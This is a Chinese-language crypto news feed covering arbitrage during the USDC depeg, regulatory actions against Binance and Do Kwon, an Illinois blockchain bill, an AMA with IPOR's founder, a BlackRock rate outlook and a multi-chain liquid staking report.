和传统搬砖方式相同，从UNI买入USDC并在Curve卖出，赚取差价，但是中间要面临USDC价格快速下跌的风险。 在 AAVE 的循环杠杆做多USDC的案例中，做多者基于USDC的价格最终会上升这个判断进行操作，并且承担了USDC价格进一步下跌的风险。 具体路径为：利用资产借贷USDC （借贷USDT，然后通过DEX交易为USDC），抵押USDC借贷USDT，USDT购买USDC，并且再次利用USDC借贷USDT进行循环。 Binance支持USDC充值，同时USDC会1:1兑换为BUSD，由此完成低价值USDC兑换高价值BUSD。 Coinbase 用户则是利用了 Coinbase 可以将USDC 1:1 提现为 USD进入银行账户，完成套利过程。但是两家交易所反应迅速，套利过程持续较短时间就被关闭。 如果USDC背后抵押物出了问题，USDC回不到1美元，那么不同类型的DeFi应用可能出现以下风险： 借贷协议 Aave 和 Compound 是最大的两家链上借贷平台，它们允许用户借入和贷出不同的加密货币，并获得利息收入或支付利息费用。USDC是这些平台上常用的资产之一。 如果用户使用USDC作为借款或者抵押品，那么他们可能会面临无法偿还或者被清算的风险。Aave对USDC价值计算使用的预言机是Chainlink，备用预言机是Uniswap。对于存ETH借USDC的用户影响有限，其可以趁机回购USDC以更少的资本金赎回原抵押物。而Compound则是使用固定1美元的价值，这可能导致风险。 具体而言，当 USDC 价格下跌时，借贷协议可能面临以下风险： 这些风险可以通过以下措施来缓解： 交易类应用：如果用户使用USDC作为交易对或者流动性提供者，那么他们可能会面临损失或者套牢的风险。例如，在Uniswap平台上，用户可以在任意两种加密货币之间进行交易或者提供流动性来赚取手续费。如果用户使用USDC作为交易对或者流动性池中的一种货币，那么当USDC价格下跌时，他们可能会因为兑换率变差或者无法退出而损失资金。另外衍生品交易应用中有一些默认USDC为1的应用也带来了套利的机会。 GMX是建立在Arbitrum的去中心化永久交易所。在GMX的交易机制中，用户做多平仓获得交易标的物，而不是保证金本身，而交易标的物是按照 USD进行计价。套利者利用折价的USDC进行开仓，按照标准USD的价格进行兑付。 本次事件后，GMX及其同类机制的协议，未来可能会优化稳定币的价格曲线，当稳定币作为保证金的，以用户下单时所使用的稳定币实际价值进行进行计算。 在GMX的Swap中，USDC/ETH的价格取的是ETH/USD的价格，所以在Swap中同样产生了套利空间。 此外，由于市场动荡也给该类杠杆交易平台带来的大量的手续费收入，达到了平日的2~3倍。 图：四大链上交易市场的收入情况 来源：Trend Research，Tokenterminal 预测类应用：如果用户使用USDC作为投注或者奖励，那么他们可能会面临赔付或者收益减少的风险。例如，在Augur平台上，用户可以创建和参与各种市场预测事件，并根据结果赢取奖励。如果用户使用USDC作为投注或者奖励货币，那么当USDC价格下跌时，他们可能会因为赔付金额变小或者收益缩水而亏损。 在这次USDC脱锚危机中，USDC 的折价给DeFi系统一度带来了巨大的不确定性，但随着政府和监管的出手，这一危机逐渐化解。在此过程中，既存在对价格回锚的单向押注（例如一个钱包从 Binance收到了 2.15 亿美元的 Tether 购买 USDC 和 DAI 稳定币，获利约 1650 万美元）；也存在利用机制漏洞进行低风险套利的行为（如正文提到的Maker PSM 套利）；也存在因为恐慌而错杀的各类资产价格回购的交易（如正文提到的 BUSD、USDP等折价）；此外，也不能忽视市场大幅波动给杠杆交易、LSD等应用带来的被动式收入上升（如Frax和crvUSD都可以捕获到相关收入），这类应用本身存在USDC风险敞口小，反而成为被动受益者。  ( 10 min )
    黑山司法部长：美国和韩国都正在寻求引渡Terra创始人Do Kwon
    PANews 3月29日消息，据金十报道，黑山司法部长表示，美国和韩国都正在寻求引渡Terra创始人Do Kwon。  ( 4 min )
    视频｜快速了解，CFTC为何起诉币安！CZ在劫难逃，传闻与FTX相关？
    CFTC来势汹汹起诉币安和CZ，细数数条罪名，币安为何会被起诉？CZ又是否在劫难逃！？更有行业人士猜测币安被CFTC调查，背后有FTX的推波，视频带你快速了解！  ( 4 min )
    美国议员提交更改链上交易的法案遭群嘲，有可能实现吗？
    作者：Kason 出品：白话区块链（ID：hellobtc） 2023年2月9日，美国伊利诺伊州参议员Robert Peters悄悄地提交了一项名为《数字产权保护和法律执行》的法案，该法案要求：对于在州内发生的区块链交易，在收到法院命令后，区块链网络需配合更改区块链交易或者执行智能合约，且该过程无需私钥参与。若区块链网络不予配合，会对区块生产者或网络验证者每天罚款5000到10000美元。（下图为原文） 这一法案在佛罗里达律师 Drew Hinkes 将其发到社交网络后引来巨大的争议。 拥有12万粉丝的加密分析师foobar表示，法院无需私钥即可让链上账户进行交易是一件很搞笑的的事。 投资公司 Delphi Labs 的律师兼总法律顾问 Gabriel Shapiro 直接点明这一法案想改变区块链网络的“不可篡改性”。 Hinkes 也表示这一提案难以实现，暴露了立法者对区块链技术的无知。 作为脱胎于比特币的技术，区块链的核心思想是将包含交易数据的账本交由全系统的节点而非单个或者少部分节点来维护、保管。 由于每一个节点都可以参与到账本的维护，不再单纯依赖于某个节点，它具有去中心化的特点。 由于每个节点都保存一份账本，单个节点难以控制或篡改数据，这赋予了链上数据不可篡改、可追溯、公开透明等重要性质。 区块链的“不可篡改”性与哈希函数的应用密不可分。哈希值是一种数据摘要，它可以将任意长度的数据映射为固定长度的唯一值。 这意味着任何数据的最小更改都会导致哈希值的改变，因此可以通过比对哈希值来验证数据的完整性和真实性。 中本聪作为比特币的缔造者，将哈希函数应用于区块生成之中。每个区块由区块头与区块体构成，系统会根据区块头的信息运用哈希函数计算出当前区块的哈希值。而区块头是由上一个区块的哈希值、当前区块体的哈希值、时间戳等信息构成，区块体由交易数据构成。 简而言之，如果一个区块的交易信息被改变，那么该区块体、区块的哈希值也将被改变，该区块之后区块的哈希值也将被改变。如果想让后面的区块还能连接到它，后面所有的区块必须全部同时修改，否则被改之后的区块就全部脱离了区块链。 但由于哈希值的计算很耗时，同时修改多个区块几乎不可能发生，除非有人掌握了全网51%以上的计算能力，也就是相当于整个系统超过一半的节点达成了改变区块的合谋，这是更难实现的。 正是通过这种联动机制，区块链保证了自身的可靠性，数据一旦写入，就无法被篡改。这就像历史一样，发生了就是发生了，从此再无法改变。 参议员Robert Peters的法案难以落地，因为他在要求区块链的出块节点、验证节点做他们难以做到的事。 由上文可知，如果一个区块中的交易被篡改，那么这个区块以及这个区块之后的区块哈希值将异于其他节点所携带的区块，会被系统自动识别为非法区块，这也意味着这笔交易会被识别为无效交易。即使每天对节点进行高额罚款，那也无济于事。 同时，这一法案还要求无需账户私钥即可对该账户的资金进行交易，这无异于打翻了“我的钱就是我的钱”这一加密世界信仰。 如若成真，那么这么做的区块链网络将会马上被加密社区抛弃。毫不客气的说，这一要求是在“杀死”区块链。 综上，参议员Robert Peters的法案不仅在实践中难以执行，反而会加剧司法实践与区块链技术、社区的冲突，注定难以实现。 参议员Robert Peters的建议虽然离谱，但这不意味着区块链在公共部门中没有用武之地。 政府作为一个特殊的市场主体，其服务对象为公共利益。借助区块链可追溯性、去中心化、不可篡改性等特点，政府可将其应用于投票、公共财产管理、电子证据留存等方面。 以区块链+投票为例，政府可以使用区块链来记录选举结果，从而确保选举的公正性和透明度。由于区块链不允许数据被篡改或删除，所以选举结果可以被保留和验证，从而防止任何欺诈行为和不当的干预，这能有效提升投票工作的效率与公众对政府的信任。 以区块链+公共财产管理为例，政府可以将公共财产的所有权、使用状况、发生的变故等信息记录在区块链中，确保这些信息在动态更新的同时不被篡改或删除，进而保护公众利益不被侵犯，也便于这些财产得到适当的维护与管理。 再以区块链+电子证据留存为例，利用区块链“信息留痕”的特质，司法部门可以将信息向区块链网络的全体节点广播，经过交叉审核、共同记账后，有效的保障了信息安全可控、不可篡改，减少了人为干预因素，提升了电子证据的可采信度。 总的来说，政府可以利用区块链技术从多个方面提升公共服务的效率并降低服务成本，但前提是认识到区块链这一技术“去中心化”这一本质，以及“可追溯性”、“不可篡改性”等重要特征。 作为一种新兴技术，区块链已经成功与多个传统业务的场景相结合，创造出新的产品与市场。 区块链+金融促进了DeFi的兴起，使得以token作为底层资产的金融产品成为了人们参与投资、交易、流动性借代的一个可选项。 区块链+艺术品使得NFT市场在过去两年大放异彩，借助于区块链技术的可追溯性、唯一性等特质，艺术品可以实现全球流通，且买家无需担心买到赝品。 除此之外，区块链还能与供应链、保险、身份认证、IOT、分布式存储等场景相结合，并推出相应的产品。 上述结合的前提，便是产品提供商对区块链这一技术+传统业务场景在社区中如何应用有着深刻的了解，而不是提出傲慢、不可行的建议后想通过强硬手段推行这些建议，这么做注定会被社区、技术等多个层面，从多个角度用多种姿势抛弃。  ( 4 min )
    Lido将于8月1日停止在Polkadot、Kusama上的质押服务
    PANews 3月29日消息，据Lido 开发商 MixBytes 的博客文章，去中心化金融(DeFi) 质押服务 Lido (LDO) 将于 8 月 1 日停止其在 Polkadot (DOT) 和 Kusama (KSM) 上的质押服务。Polkadot 和 Kusama 不再接受存款，6 月 22 日所有资产将自动取消质押。正式终止日期为 8 月 1 日。目前 Lido 上总共有价值 400 万美元的 DOT 代币和价值 75,000 美元的 KSM。  ( 4 min )
    对话IPOR：打造DeFi领域的基准利率，用全新玩法破圈
    从传统金融到去中心化金融，危机、波动的大环境之下，创新与突破永远不会缺席。在 DeFi 领域，就有这样一个“新物种”，它结合了传统金融与加密货币，自成一派，推出了首个 DeFi 领域的基准利率以及链上利率衍生品服务。没错，它就是我们今天的主角：IPOR Protocol，Inter-Protocol Overblock Rate协议。 今天，我们邀请到了 IPOR Labs 联合创始人、首席执行官 Darren Camas 参与我们线上分享活动！跟大家面对面，聊聊 IPOR Protocol、其创新会如何改变 DeFi 赛道，以及大家关心的各种问题。 以下为本次AMA现场实录： · 关于 TradFi 和 DeFi 以及两者如何在 Web3 时代相结合，大家已探讨颇多。如今，我们迎来了DeFi领域一个非常特别的“新物种”- IPOR。可否请您为大家介绍一下 IPOR Protocol 以及它为何能从其他 DeFi 协议中脱颖而出吗？ Darren: 当然可以！IPOR 协议采用利率衍生品 (IRD) 市场的基本原理并将其应用于 DeFi 领域。IRDs市场规模已达 450 万亿美元， 即 450,000,000,000,000 美元。 它是仅次于外汇的第二大市场。 实际上，IPOR 分为两部分：基准参考利率IPOR 指数以及利率衍生品去中心化交易所（ DEX）。IPOR指数就像DeFi 领域的 LIBOR（伦敦同业拆解利率） 或 SOFR（有担保的隔夜融资利率）算法版利率。这些利率被用于构建数百万亿美元的债务、交易和衍生品市场。使用IPOR，你就可以在链上做相同的操作。由于DEX 是点对池的，因此就会有流动性提供者，一个专门为利率设计的自动化做市商 （AMM） 以及衍生品交易商。 至于我们为何脱颖而出，我们整个体系是从无到有，是专门定制的。IPOR Protocol 有许多全新的 DeFi 原语，从作为公开产品的 IPOR 指数，到专门为利率设计的 AMM（我们甚至拥有一个专用的量化库），再到 Power Tokens 作为一种全新的代币经济学设计。上述每一个元素都可以被其他协议使用，具有可组合性。 IPOR 指数：DeFi信贷市场能够参考链上利率用于提供新产品 AMM 和利率衍生品能够成为多合约调用的一部分来构建结构化产品 Power Tokens 是一种开源的可定制架构，其他协议亦可对它进行调整来满足各自需求 · IPOR Protocol是如何运行的？用户可以如何来使用这个协议？有没有用户采纳的例子或产品，可否请您为我们介绍一下呢？ Darren: 首先，自去年8月，我们APP上的名义交易量以及达到37亿美元。按总锁仓价值（TVL），IPOR Protocol 是排名第六的衍生品协议。我们的流动性提供者目前在DeFi领域能赚取最高的稳定币收益以及最高的流动性挖矿奖励且没有无偿损失（Impermanent Loss）。 目前，我们正处于重新设计阶段，这将使我们的协议在链上拥有全面的风险管理框架，同时更改合约结束部分，将目前衍生品的4周掉期扩展到多月工具。 · 事实上，IPOR Protocol 有自己的原生代币。可否请您为我们社群具体介绍一下呢？比如如何来获得/使用这个代币？IPOR Protocol 的代币经济学详情？代币供应量是否有上限呢？ Darren: IPOR 代币旨在提高生产力，这一点大家可以在分配和 Power Token 设计上看出来。在一个简单的 ERC-20 合约中有 100,000,000 枚代币的上限，没有铸币功能。我们的代币地址为：0x1e4746dc744503b53b4a082cb3607b169a289090。 具体分配如下： 30% DAO金库 25% 流动性挖矿（长期产出用途） 13.15% DAO 运营（DEX/CEX 流动性、营销、激励用途） 20% 团队 11.85% 投资者 目前，流动性挖矿项目每天发行10,800枚代币。本月，DAO 会重新评估发行量并修改。 IPOR 可以用于质押，以获得pwIPOR（Power IPOR）。 Power Tokens 既是一种代币经济学架构，也是一种流动性挖矿设计。pwIPOR 可以委托给不同的模块，所以对其他开发者而言，极具灵活性。这就是为什么我们开源智能合约的原因。 目前，pwIPOR 的主要委托是给流动性提供者以用于 USDC、USDT 和 DAI 池的流动性挖矿。 pwIPOR 也可用于提高回报。大家或许了解 ve-tokenomics 等相关内容，但 pwIPOR 的特定模型却不太一样。 流动性挖矿的设计基于对数曲线，这意味着它符合基于比率且增长迅速但收益递减的特性。 使用 pwIPOR 很容易获得增长。这会有一个市场拐点，提供更多流动性或更多 pwIPOR 是有意义的，不过一旦超过曲线的这个部分，增长回报就会减少。 这个特定模型为巨鲸和散户提供了公平的环境。无论用户体量如何，都可以实现最优化增长。对于巨鲸或早期投资者并无偏好，它是基于市场动态而不停变化的。市场动态与 TVL、$IPOR价格、pwIPOR 如何为其他市场主体使用而提升、流动性挖矿奖励如何按比例分配等相关。只有不参与其中，才会输掉pwIPOR。 · 除了原生代币 $IPOR外，IPOR Protocol还有哪些代币吗？可否请您介绍一下他们的实用性呢？ Darren: 除了流动性挖矿，pwIPOR 代币也可以用于其他模块。首先也是最好理解的是，它本身是 IPOR Protocol 的治理代币。 IPOR 中的治理聚焦许多不同方面。我个人比较热衷的是IPOR 指数本身的实际构成。目前，它是以太坊上 AAVE V2 和 Compound V2 之间的中间市场成交量的加权利率。 IPOR 并不是以太坊结构，而是一个 DeFi 结构。 问题是：另一个协议如何成为 IPOR 指数的利率成分； 它是否已成交量加权？作为安全代理的时间要素呢？应该如何决定为另一个稳定币或类似 stETH 来启用一个新指数？应该如何选择从其他链或 L2 获取利率？有哪些技术考虑因素？其他治理决策还包括：围绕利率衍生品的风险参数有哪些；AMM拓展（这定义了spread模型）应该多久更新一次？多久应该调整一次波动率？ 在流动性挖矿方面，发行利率在哪个模块应该是多少？除了治理，还可以构建新模块用于满足协议其他长期需求。 · 您提到了治理、Power Token，IPOR Protocol的流动性挖矿项目就是基于这个代币。可否请您为我们详细介绍一下呢？（它是何时上线的？目前 TVL 和 APR 多少？） Darren: 当前的 Power Token 流动性挖矿项目是今年1月25日上线的。TVL 从250万美元涨到目前超过3200万美元，最高值时超过4200万美元，由于硅谷银行而引发的 USDC 危机，我们 TVL 缩水了一部分，但目前很多投资人又重新回归了。 首先，针对 LPs 我们有一个基准 APR，是基于稳定币的。这源自于货币市场收益、费用以及衍生品的净利润。在协议生命周期内，三个池的平均APR为6%左右。在 DeFi 领域，这可谓是稳定币的最高基准收益率之一了。 如果算上流动性挖矿奖励，这个收益目前是在32-34% APR，但这还不是全部。如果有 pwIPOR 的加持，平均APR会在40%左右，而一些聪明的巨鲸利用pwIPOR的收益增长功能可以获得80-100%的 APR。 · 随着 DeFi 市场发展，投资者和用户都开始关注项目的治理和审计。IPOR Protocol 是如何进行治理的？目前是已完全上链了吗？去中心化进度如何？目前协议有接受过审计吗？ Darren: IPOR 协议本质上具有保守性。试想一下仅仅是来自超额抵押货币市场的那些指数。同时，我们团队对安全性非常执着。有些项目提到他们对自己的协议进行了 50 次测试。而我们大概测试了至少有800次。我们的开发人员来自企业级软件，因此安全性和可扩展性对他们而言是第一要务。 目前协议已由 Zokyo 和 Ackee 完成审计。V2 目前已接近完成，届时会重新对整个协议进行审计，因为自发布之日起，我们已经做了一些更新和更改。 至于 DAO 治理，这在白皮书中有详述，我们会分阶段实现去中心化。投资者和用户保护不仅仅只是经济学方面的，还包括合情合理的进阶。我们即将进入 DAO 阶段，在 IPOR Discord 社群中，我们已经有了14 位 IPORIANS，这是社群最高等级。这些 IPORIANS 同时也能获得一份每月基本收入，即IBI（IPORIAN Basic Income），来自于 DAO 的每月固定拨款。 我们与 Deus Ex DAO 亦有合作，给予我们产品和社群方面的建议，目前他们帮助我们正在进行 DAO 结构设置，从工具到流程等繁重事务。 在接下来数周，会在 Discord 中添加一个 DAO 治理论坛。从该论坛，IPOR DAO 会开启快照投票。如您对 IPOR 治理感兴趣，请加入我们的 Discord！ · 聊到这儿，我们已经对 IPOR 有了一些深入了解。我想我们的社群一定对它背后的团队非常感兴趣。可否请您为我们介绍一下呢？ Darren: 我们团队由加密资深“老兵”和来自 TradFi 以及软件开发领域的精英组成。我自己从2011年起开始就从事加密行业构建，拥有很长的加密领域专业背景。我曾负责全球最早的交易所之一的 BD 团队。回顾2011年，那时我们排名仅次于 MTGOX 。我曾任 Cardano 的高级顾问，Cardano 是按市值排名第五的加密货币。 我的联合创始人 Dimitar 从2016年起从事加密领域。他曾在投行、现货和衍生品交易所工作，在 1inch 之前，他曾担任 Anton Buhkov 的顾问，并曾在 Binance 最大的天使投资人的公司工作。 不过，要在链上构建复杂金融工具，就需要结合量化金融以及可以将其推向市场的软件开发人员一起来实现。 我们的量化团队有两名量化金融分析师，在固定收益领域拥有超过 22 年经验。 IPOR Labs 首席科学家 Mauricio Hernandes 拥有计算机科学博士学位。 他为 日本证券经纪巨头SBI Bits （思佰益）设立了交易台，这是该机构的加密部门。他自 2017 年以来一直都在致力于加密领域的建设。 开发者团队来自于企业级软件，资深开发者都拥有超过15年的经验。他们专注于构建安全、简洁、可扩展的软件，因此，将这些开发原则应用于区块链，能为行业带来巨大优势。 最后，我们的产品负责人曾担任4家初创公司的 CTO，目前已经在上海工作生活了8年。 在 IPOR Labs 团队，我们有3位成员拥有博士学位。 · IPOR Protocol 已经吸引了许多投资人，近期又刚刚完成了555万美元的融资。可否请您介绍一下目前有哪些投资人/机构呢？ Darren: 这轮融资由 Arrington Capital 领投，这是加密领域最为知名的投资机构之一。他们在行业内可谓举足轻重，因为他们在稳定币和信贷基建方面跨链投资很多项目。 大家可能听过gumi Cryptos、CMT Digital、GSR，这些都是我们的投资人。其他 VC 参投方包括C² Ventures、 SpaceWhale Capital 和New Form Ventures。战略天使投资人包括 Kava, The Graph, 和 Cardano。 · 您是否有计划开发其他 IPOR 指数，或是在其他链上线？可否分享一下 IPOR 未来的发展规划和项目？ Darren: 正如我前面提及的，IPOR 不是一个以太坊协议，而是一个核心 DeFi 协议。它具有链不可知性。最开始，我们选择了 AAVE 和 Compound，因为它们在指数中的相对权重，两年了，这种情况也没有改变。 然而，以太坊和其他链会出现新的货币市场。随着 FRAX 和 LUSD 越来越受欢迎，算法稳定币的局面现在也大不相同了。 至于扩大覆盖范围，这应该是一项治理决策，因此我们得观察这些协议的流动性在不同链上的增长情况。 基础设施很复杂，因为 LP 收益也来自于这些货币市场。这并不是简单的黏贴复制操作，但是我们已经就技术、如何实现等方面进行探讨。比如 Arbitrum 算是一个候选链，但它很可能交易基于以太坊货币市场利率。 至于新市场，质押 ETH 市场是目前最有趣的一个新市场。然而，就 LSD（流动性质押衍生品）协议关于收益的报告，其规模、波动性、缺乏一致性等问题，许多设计决策和权衡必须进一步研究。这个机会很有趣，但归根究底，协议必须能够为 LPs 管理风险，因此这方面并不着急。 · 最后一个问题算是一个开放性问题。传统银行业和金融由于 SVB 和 Silvergate 危机受到重创。在您看来，在 TradFi 和 DeFi 的利率当前的相关性如何？ Darren: 这两个银行的失败主要可以归结为两个风险管理问题：1. 利率风险 2. 存续期风险。 就 IPOR 而言，这些可以是一个很好的并行结构。IPOR 指数是 DeFi 领域不同期限的资金成本的基准利率。 未来，我们会有 IPOR USDC 1月期、3月期，6月期利率等等。在 DeFi 领域，这对引导收益率曲线和构建期限结构颇为重要。IPOR 利率衍生品是一种工具，允许用户实现利率风险的管理。 这就是我们把 TradFi 基础结构引入 DeFi 的原因。针对 DeFi 信贷市场的增长，这就会需要发展期限结构来理解存续期间风险，同时构建固定收入市场以及利率衍生品来管理风险。 身处加密领域，大家需要留心美联储做的每一个利率决策，因为它会影响一切。现在，是时候关注 DeFi 领域的利率，开始管理这些风险，这就是为什么我们构建 IPOR 的原因，它从未像当下这样，与我们息息相关。  ( 7 min )
    押注美联储降息？贝莱德：市场大错特错了
    来源：华尔街见闻 作者：周晓雯 全球最大资管贝莱德认为，尽管市场预计美联储会降息，但实际上美联储可能不会这样做。 本周，贝莱德经济研究所策略师Wei Li在客户报告中指出，美联储不会因为银行业的困境而停止抗击通胀，相反，他们将进入一个“更加微妙”的阶段，减少对抗但仍不会降息。 该公司策略师在报告中写道，在衰退袭来时急于降息拯救经济，这是央行的“老套路”，但他们预计今年不会发生： 这种损害现在是最重要的，各国央行终于被迫面对它。我们认为，这意味着他们将进入抑制通胀的新阶段，而我们一直在担心这一点。 我们看到，主要央行正在改变“不惜一切代价”的做法，而是进入一个更加微妙的阶段，减少对抗，但仍不会降息。 此外，贝莱德预计，除非出现严重衰退的情况，否则美联储无法成功抗击通胀。因此该公司推荐与通胀挂钩的债券，这种债券能够在一定程度上保护投资者不受通货膨胀的影响。贝莱德还表示，鉴于市场可能会迅速消化降息的影响，超短期政府债券颇具吸引力。 贝莱德补充称，该公司在发达股票市场中持有空头头寸。 在本月欧美银行业一系列巨震下，美联储上周仍宣布加息25基点，表达了抗击通胀的坚定态度。道明证券认为这种在衰退风险加大的情况下继续加息的举措是错误的。 本周，第一公民银行宣布收购硅谷银行，市场围绕银行业的担忧情绪有所缓解，两年期美债收益率继续回升，此前已跌至今年最低水平。 掉期交易显示，投资者已重新计入了美联储在5月加息25个基点的预期，但他们也押注市场尚未完全脱离困境，年底前可能会有65个基点左右的升息。 与此同时，美国2月份核心CPI继续上升，贝莱德认为，最近的经济数据证实了美联储可能“低估劳动市场吃紧导致通胀的顽固程度”： 我们认为，只有在更为严重的信贷危机形成，并导致比我们预期更严重的衰退的情况下，美联储才可能实施市场已消化的降息举措。  ( 4 min )
    多生态LSD发展报告：赛道很宏伟，项目很早期
    上周，我们发布了 LSDFi 生态 /LSDFi War 报告以及上海升级给 LSD 带来的影响的报告，但无论是选择的项目还是思考的背景都是以太坊。这是因为仅以太坊流动性质押带来的资金量就超过 140 亿美元。而今天这篇报告则要探究一下其他公链生态的 LSD 发展情况及玩法，并从数据端观察其他生态 LSD 发展情况，发展趋势，数据背后对 LSD 行业影响，以及关于 LSD 产品设计，正义性的讨论。本次调研公链将包括：BNB Chain，Cardano，Polygon，Solana，Polkadot，Avalanche，Cosmos，Aptos（按照 Coingecko MC 排序前 25 名的部分公链）。 BNB Chain BNB 目前的质押状态跟以太坊类似，质押率为 15.44%（以太坊约为 15.43%），且目前质押平均年化收益约为 2.84%，收益较低。其中 BNB Chain 最大的去中心化质押平台 Ankr，约占流通量的的 0.56%。 BNB Chain 的 LSD 发展慢的原因我认为有以下几点： 1. BNB 原生 DeFi 协议收益性，从 DeFillama 数据中可以看到，仅涉及 BNB 的 337 个交易对中，超过平均年化收益率就占 80%，更何况链上的多种 DeFi 协议，相信绝大部分都是远超质押收益率 2.BNB 效用 ①BNB 也是 Binance 交易所的平台代币，持有 BNB 放置在交易所可以获得手续费折扣以及其他服务 ②同时 Binance 有自己专门的 Launchpad 等服务，这吸引用户将手中的 BNB 放在钱包或者交易所，以最近的 Space ID launchpad 举例，BNB 投入总量达 8,677,923.94 枚，参与人数达 103,598 人。这个数目是 Ankr 的总质押量的近 39 倍。 对于交易型持有者来讲，无论是放在 Binance 获取费用折扣还是在 DEX 参与多种 DeFi 产品，收益和稳定性都要更高。在 BNB Chain，对于 LSD 的潜在远小于 ETH chain。 Cosmos Hub 的质押率约为 61.96%，平均质押收益约为 25.92%，且质押后解除质押需要自申请时等待 21 天。Cosmos 的质押状态相较于 ETH 与 BNB 链极具技术特色，由于 ATOM 仅作为 Cosmos Hub 的通证，在 Cosmos 生态系统内推出的任何应用链都可以不使用 ATOM 代币。因为费用逻辑是每个应用链原生的（开发者选择以何种代币支付 gas），每个应用链都有自己的验证者网络。所以在统计时不能只将 ATOM 链上协议作为统计依据，Stride，QuickSilver 等是拥有自己的链来进行协议搭建的，所以我们将统计 Cosmos 和其生态的 IBC 链上的 LSD 协议（主要聚焦在 ATOM，OSMO，STARS，JUNO，Luna，Evmos）。 从上表格中你可以看到两个有意思的点： 1.为什么 LSD 规模小？ ①Cosmos 生态其实有很多类似 L1 链，但这些生态都暂时无法走出 Cosmos。Cosmos 不是统一的公链，而是通过 IBC 协议但有特殊功能链和 Appchain 链，比如 Kava 与 Osmosis。如 Canto，Juno，Evmos 这种通用链，生态处在起步状态。 Luna 曾在 22 年 3 月 2 日有价值超过 300 亿美元的 LUNA 在各种协议上质押，超过了质押价值 280 亿美元的 ETH，成为主流加密货币中第二大质押资产。当时 Lido 也参与设计了 bLUNA 这种 LSD，但后续发生了 Luna-UST 事件，当时的 Terra 具有丰富的基础设施，LSD 可以用来做 UST 抵押品，借贷等。 ②机会成本：整体看下来，高额收益率带来了机会成本，以 ATOM 为例，如果持有者不质押 ATOM，那么他的机会成本约为 26%，大家可以查看一下 Osmosis 的流动性 列表，高于 26% 的 ATOM LP 只有三个。当然有其他的高收益方法，但都不如直接质押稳定与安全。这也产生一个恶性循环：DeFi 利用率低→收益低于质押→用户减少 DeFi 参与→ DeFi 利用率低 ③空投：Stride，Quicksilver 等 Cosmos 项目在上线时通常会将一定比例的代币直接空投给 Cosmos 代币生态质押者，而据我调查得到的结论是 LSD 中质押好像不能得到空投。所以机会成本进一步增大。 ④流动性风险：ATOM 质押为 LSD 后需要 21 天才能解锁到账（Stride 显示为 21-24 天），不仅是 LSD ，质押节点也受此影响。 但 Cosmos LSD 仍然有极其伟大的前景 1.Cosmos 2.0：链间安全将推动 ATOM 可以作为其他 IBC chain 的安全通证，借助链间帐户 ATOM 的可组合性得到增强，Cosmos 官方将很快支持流动性质押功能，从而提高 ATOM 的流动性。ATOM 价值将进一步提高，对生态内的 DeFi 繁荣将带来直接影响 2. Osmosis 和 Kava 的 DeFi 已经在努力发展，他们将为为 LSD 搭建了更多的借贷和收益类基础设施。 例如，SiennaLend 接受 seSCRT 作为抵押品。 新的 LSD 协议如 Quicksilver，将空投吸引更多持有者的关注。 3.Stride 和 Quicksilver 可以提供代理投票等治理功能，之前会有是由委托节点投票，现在可以直接通过委托给 LSD ，然后让 LSD 统计质押者选择进行代理投票 4.流动性好处：21 天质押的解锁时间可以通过 LSD 获得资金效率 5.外部因素：以太坊上海升级带来的 LSD War 将直接推动 LSD 影响力，将间接推动 Cosmos LSD 发展 6.Cosmos 准备推出流动性质押模型（LSM） 但有一个问题可能 LSD 无法解决，以 QuickSilver 举例，QuickSilver 的质押机制是通过用户自行选择质押节点进行质押，质押后获得 qAssets，这个过程中 QuickSilver 相当于代表用户委托的“中间商”，虽然理论上，“中间商”代表用户质押给的验证者，它直接质押给了节点，是符合生态中项目空投的条件的，但很多空投都有质押额度限制，比如 Stride 空投申领时，最高有效质押额度是 4200ATOM，这意味着 QuickSilver 即使可以代理领取空投，也只能是领取 4200 ATOM 的份额。或许可以通过设计多账户，但仅是猜想，管理单独账户带来的数据风险与技术成本暂时未知。或者 LSD 主动联系项目方要额度，这也只是猜想，项目不可能无缘无故给你额度，除非你能为他们带来好处。 如果你想了解更多关于 Cosmos 生态各质押协议的技术区别，请移步这里。 如果你想了解 Cosmos LSD 发展的历史，请移步这里 Polygon 质押率为 39.92%，平均年化收益是 8.82%，Polygon POS 是一个 EVM 兼容侧链，Matic 在其中充当 Gas 以及被质押给节点完成 POS 共识。12% 的 Matic 将会作为质押奖励。 一个很有意思的点，Polygon 上 Lido 竟然是 APY 最高的，且我在 DeFillama 上搜索，MATIC 交易对，TVL 在 $10M 以上的交易对中，stMatic 涉及四个，这种影响带来的直接后果可能是 Lido 现在以及未来 Polygon LSD 领域的一家独大。 Solana Solana 的网络质押率是 70.75%，平均质押年化收益率是 70.75%，Solana 的验证者数量有 3165 个，委托数量最多的验证者也才占有总质押数量的 2.86%。 在统计过程中，aSOL，Eversol，Socean 等 LSD 项目自 22 年 5 月 TVL 一路下滑，到现在 Twitter 账号已注销无法找到，结局令人唏嘘。以 Stader 为首的新入局者或许会给 Solana LSD 带来新的发展。 Cardano 目前的质押率是 68.73%，质押平均年化收益为 3.26%。距离我上一份 Cardano 生态报告发布时（12 月 18 日：74.05%）下降 7.1%。但 TVL 以 ADA 计价即将突破前高。 Cardano 的特殊技术架构决定 LSD 很难在其生态发展，ADA 在质押期间不会被锁定某一时间段或者需要转移至矿池等。用户质押到 SPO 后，SPO 无法接触你的资产，他们的费用收取是从质押池产生的总奖励中扣除，这就意味着 Cardano 的质押不仅非托管还灵活。而且用户还可以在质押同时来支付或在 DeFi 服务中使用它们，比如用来做 iUSD 抵押品。 另外一点就是，Cardano 是没有罚没的，用户资产不会因为 SPO 的不当行为造成损失。当 SPO 操作失误，网络会取消这一纪元的奖励，多次失误造成的奖励下降会引导用户离开这种不合格的矿池。不过 Cardano 运营商的平均年化是 4.99%，较普通质押用户多 35% 左右，这吸引了很多用户直接去做 SPO，且门槛较低，目前有 3206 个质押池。 Avanlance 的网络质押率是 62.05%，平均年化收益是 8.48%。Avanlanche 的技术架构是主网分成了 非技术用户参与链安全的默认方式是 Avalanche Wallet 上的质押中心，通过该场所进行质押只涉及使用 P 链和锁定 AVAX，锁定后，解决质押需要 21 天。委托 AVAX 后，验证的奖励将累积到你提供的 P 链地址。所以 LSD 项目要做的是在使用 C 链上的可替代资产来发行质押头寸的合成替代资产。所以这存在一定的技术难度，需要 LSD 设计合约连接 P 链的 AVAX 与 C 链的 LSD。我目前只找到了两个 LSD 项目，其中 Benqi 的 sAVAX 占据决定领导地位。 LSD 龙头 Benqi 占有流通 AVAX 的 1.7%，且 sAVAX 流动性很强，无论是借贷（循环借贷提高收益）， LP 和其他 DeFi 产品都不少。 但 Avanlanche 的 DeFi 发展较好，抛去 $635.75m 的 Wonderland，TVL 也接近 $830.91m，各种 